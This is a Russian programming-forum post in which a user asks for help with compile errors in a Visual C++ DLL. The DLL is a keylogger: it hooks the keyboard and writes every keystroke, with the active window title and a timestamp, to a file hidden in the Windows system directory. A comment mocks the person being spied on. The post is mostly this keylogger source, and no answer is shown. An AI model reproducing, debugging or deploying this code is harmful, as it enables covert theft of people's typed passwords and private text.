Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Visual C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 19.12.2014, 23:34   #1
star007
Пользователь
 
Регистрация: 20.03.2010
Сообщений: 38
Вопрос Проблемы с Dll

Всем доброго времени суток! Такая проблема: создаю заголовочный файл(.h) для dll в VS 2010 express следующего содержания:
Код:
//ks.h
#ifndef KS_H
#define KS_H

#include <windows.h>
#include <stdio.h>

#ifdef __DLL__
#define DLL_EI __declspec(dllexport)
#else
#define DLL_EI __declspec(dllimport)
#endif
//---------------------------------------------------------------------------
extern "C" {
LRESULT CALLBACK DLL_EI HksKeyProc(int nCode, WPARAM wParam, LPARAM lParam);
void DLL_EI HksInit();
void DLL_EI HksClose();
};
//---------------------------------------------------------------------------

#endif
При исполнении проекта выводит ошибки вида:
ks.h(14): error C2059: синтаксическая ошибка: __declspec(dllimport)
ks.h(15): см. предыдущее определение "HksInit"
ks.h(16): см. предыдущее определение "HksClose"

Для большей наглядности приведу код .cpp-файла:
Код:
// ks.cpp: определяет экспортированные функции для приложения DLL.
//

#include "stdafx.h"
#include "ks.h"

HANDLE hmod;
HHOOK khook;
HFILE LogFile;
char LogFileName[256] = "ks.txt";//название лог-файла
char FullLogFile[256] = "";
char BufStr0[19] = "";
char BufStr1[200] = "";
char BufStr2[256] = "";
char OldAct[1024] = "";
LPSTR ActWin()//поца для определения активного окна
{
LPSTR ActW = new TCHAR[1024];
SendMessage(GetForegroundWindow(),WM_GETTEXT,1024,(LONG)ActW);
return ActW;
};
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
                    )
{  //если лог файл по адресу c:\windir\sysdir отсутствует, то создаем его
    GetSystemDirectory(FullLogFile,256);
    strcat(FullLogFile,"\\");
    strcat(FullLogFile,LogFileName);
    LogFile = _lopen(FullLogFile,OF_WRITE);
    if (LogFile == 4294967295)
    {
        LogFile = _lcreat(FullLogFile,4);
    };
    _lclose(LogFile);
    hmod = hModule;
return TRUE;
}
LRESULT CALLBACK HksKeyProc(int nCode,WPARAM wParam, LPARAM lParam)
{
    if (nCode == HC_ACTION && !(lParam & 0x80000000))
    {
       //если нажата клавиша, то
        GetKeyNameText(lParam,BufStr0,19);
        //если ламак не тыкал на кнопочки в этом приложении, то его мы пишем в лог-afqk
        char *Active = ActWin();
        if (strcmp(OldAct,Active) !=0)
        {
            strcpy(BufStr1,"\nActive Window(TITLE) ");
            strcat(BufStr1,Active);
            strcat(BufStr1,"\n");
               //вместе с датой и временем
            char DateStr0[256] = "dd.MM.yyyy";
            char TimeStr1[256] = "hh : mm : ss";
    char DateStr1[256] = "";
    GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
strcat(BufStr1,"[");
strcat(BufStr1,DateStr1);
    strcat(BufStr1,"] ");
            GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
            strcat(BufStr1," ");
strcat(BufStr1,DateStr1);
    strcat(BufStr1," \n");
            strcat(BufStr1,"---------------------------------------------------\n");
            strcpy(OldAct,Active);
        };
        //пишем название нажатой клавиши
strcpy(BufStr2," ");
        strcat(BufStr1,BufStr2);
        strcat(BufStr1,BufStr0);
        LogFile = _lopen(FullLogFile,OF_WRITE);
        _llseek(LogFile,0,FILE_END);
        _lwrite(LogFile,BufStr1,lstrlen(BufStr1));
        _lclose(LogFile);
        strcpy(BufStr1,"");
    };
    return CallNextHookEx(khook,nCode,wParam,lParam);
};
//процедура для установки хука
void HksInit()
{
khook = SetWindowsHookEx(WH_KEYBOARD,
        HksKeyProc,
                            (HINSTANCE)hmod,
                            NULL);

};
//процедура для закрытия хука
void HksClose()
{
    UnhookWindowsHookEx(khook);
};
при его выполнении также выводит множество ошибок, которые, в основном, ссылаются на заголовочный файл( может подскажете в чем дело
star007 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Bass.dll Проблемы Afftar Мультимедиа в Delphi 11 19.09.2011 22:42
advapi32.dll проблемы genrix Компьютерное железо 4 04.08.2011 13:11
DELPHI проблемы с dll D][mon Помощь студентам 2 16.06.2011 04:15
Проблемы с функцией и DLL Gott Помощь студентам 4 13.12.2009 20:21
Проблемы с DLL Дмитрий2006 Общие вопросы C/C++ 5 15.10.2007 12:43